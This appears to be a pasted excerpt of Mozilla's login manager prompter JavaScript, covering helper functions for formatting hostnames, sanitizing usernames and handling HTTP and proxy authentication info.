  975. * _getLocalizedString("key2", ["arg1"]);
  976. * _getLocalizedString("key3", ["arg1", "arg2"]);
  977. * (etc)
  978. *
  979. * Returns the localized string for the specified key,
  980. * formatted if required.
  981. *
  982. */
  983. _getLocalizedString : function (key, formatArgs) {
  984. if (formatArgs)
  985. return this._strBundle.formatStringFromName(
  986. key, formatArgs, formatArgs.length);
  987. else
  988. return this._strBundle.GetStringFromName(key);
  989. },
  990.  
  991.  
  992. /*
  993. * _sanitizeUsername
  994. *
  995. * Sanitizes the specified username, by stripping quotes and truncating if
  996. * it's too long. This helps prevent an evil site from messing with the
  997. * "save password?" prompt too much.
  998. */
  999. _sanitizeUsername : function (username) {
  1000. if (username.length > 30) {
  1001. username = username.substring(0, 30);
  1002. username += this._ellipsis;
  1003. }
  1004. return username.replace(/['"]/g, "");
  1005. },
  1006.  
  1007.  
  1008. /*
  1009. * _getFormattedHostname
  1010. *
  1011. * The aURI parameter may either be a string uri, or an nsIURI instance.
  1012. *
  1013. * Returns the hostname to use in a nsILoginInfo object (for example,
  1014. * "http://example.com").
  1015. */
  1016. _getFormattedHostname : function (aURI) {
  1017. var uri;
  1018. if (aURI instanceof Ci.nsIURI) {
  1019. uri = aURI;
  1020. } else {
  1021. uri = this._ioService.newURI(aURI, null, null);
  1022. }
  1023. var scheme = uri.scheme;
  1024.  
  1025. var hostname = scheme + "://" + uri.host;
  1026.  
  1027. // If the URI explicitly specified a port, only include it when
  1028. // it's not the default. (We never want "http://foo.com:80")
  1029. port = uri.port;
  1030. if (port != -1) {
  1031. var handler = this._ioService.getProtocolHandler(scheme);
  1032. if (port != handler.defaultPort)
  1033. hostname += ":" + port;
  1034. }
  1035.  
  1036. return hostname;
  1037. },
  1038.  
  1039.  
  1040. /*
  1041. * _getShortDisplayHost
  1042. *
  1043. * Converts a login's hostname field (a URL) to a short string for
  1044. * prompting purposes. Eg, "http://foo.com" --> "foo.com", or
  1045. * "ftp://www.site.co.uk" --> "site.co.uk".
  1046. */
  1047. _getShortDisplayHost: function (aURIString) {
  1048. var displayHost;
  1049.  
  1050. var eTLDService = Cc["@mozilla.org/network/effective-tld-service;1"].
  1051. getService(Ci.nsIEffectiveTLDService);
  1052. var idnService = Cc["@mozilla.org/network/idn-service;1"].
  1053. getService(Ci.nsIIDNService);
  1054. try {
  1055. var uri = this._ioService.newURI(aURIString, null, null);
  1056. var baseDomain = eTLDService.getBaseDomain(uri);
  1057. displayHost = idnService.convertToDisplayIDN(baseDomain, {});
  1058. } catch (e) {
  1059. this.log("_getShortDisplayHost couldn't process " + aURIString);
  1060. }
  1061.  
  1062. if (!displayHost)
  1063. displayHost = aURIString;
  1064.  
  1065. return displayHost;
  1066. },
  1067.  
  1068.  
  1069. /*
  1070. * _getAuthTarget
  1071. *
  1072. * Returns the hostname and realm for which authentication is being
  1073. * requested, in the format expected to be used with nsILoginInfo.
  1074. */
  1075. _getAuthTarget : function (aChannel, aAuthInfo) {
  1076. var hostname, realm;
  1077.  
  1078. // If our proxy is demanding authentication, don't use the
  1079. // channel's actual destination.
  1080. if (aAuthInfo.flags & Ci.nsIAuthInformation.AUTH_PROXY) {
  1081. this.log("getAuthTarget is for proxy auth");
  1082. if (!(aChannel instanceof Ci.nsIProxiedChannel))
  1083. throw "proxy auth needs nsIProxiedChannel";
  1084.  
  1085. var info = aChannel.proxyInfo;
  1086. if (!info)
  1087. throw "proxy auth needs nsIProxyInfo";
  1088.  
  1089. // Proxies don't have a scheme, but we'll use "moz-proxy://"
  1090. // so that it's more obvious what the login is for.
  1091. var idnService = Cc["@mozilla.org/network/idn-service;1"].
  1092. getService(Ci.nsIIDNService);
  1093. hostname = "moz-proxy://" +
  1094. idnService.convertUTF8toACE(info.host) +
  1095. ":" + info.port;
  1096. realm = aAuthInfo.realm;
  1097. if (!realm)
  1098. realm = hostname;
  1099.  
  1100. return [hostname, realm];
  1101. }
  1102.  
  1103. hostname = this._getFormattedHostname(aChannel.URI);
  1104.  
  1105. // If a HTTP WWW-Authenticate header specified a realm, that value
  1106. // will be available here. If it wasn't set or wasn't HTTP, we'll use
  1107. // the formatted hostname instead.
  1108. realm = aAuthInfo.realm;
  1109. if (!realm)
  1110. realm = hostname;
  1111.  
  1112. return [hostname, realm];
  1113. },
  1114.  
  1115.  
  1116. /**
  1117. * Returns [username, password] as extracted from aAuthInfo (which
  1118. * holds this info after having prompted the user).
  1119. *
  1120. * If the authentication was for a Windows domain, we'll prepend the
  1121. * return username with the domain. (eg, "domain\user")
  1122. */
  1123. _GetAuthInfo : function (aAuthInfo) {
  1124. var username, password;
  1125.  
  1126. var flags = aAuthInfo.flags;
  1127. if (flags & Ci.nsIAuthInformation.NEED_DOMAIN && aAuthInfo.domain)
  1128. username = aAuthInfo.domain + "\\" + aAuthInfo.username;
  1129. else
  1130. username = aAuthInfo.username;
  1131.  
  1132. password = aAuthInfo.password;
  1133.  
  1134. return [username, password];
  1135. },
  1136.  
  1137.  
  1138. /**
  1139. * Given a username (possibly in DOMAIN\user form) and password, parses the
  1140. * domain out of the username if necessary and sets domain, username and
  1141. * password on the auth information object.
  1142. */
  1143. _SetAuthInfo : function (aAuthInfo, username, password) {
  1144. var flags = aAuthInfo.flags;
  1145. if (flags & Ci.nsIAuthInformation.NEED_DOMAIN) {
  1146. // Domain is separated from username by a backslash
  1147. var idx = username.indexOf("\\");
  1148. if (idx == -1) {
  1149. aAuthInfo.username = username;
  1150. } else {
  1151. aAuthInfo.domain = username.substring(0, idx);
  1152. aAuthInfo.username = username.substring(idx+1);
  1153. }
  1154. } else {
  1155. aAuthInfo.username = username;
  1156. }
  1157. aAuthInfo.password = password;
  1158. }
  1159.  
  1160. }; // end of LoginManagerPrompter implementation
  1161.  
  1162.  
  1163. var component = [LoginManagerPromptFactory, LoginManagerPrompter];
  1164. function NSGetModule(compMgr, fileSpec) {
  1165. return XPCOMUtils.generateModule(component);
  1166. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement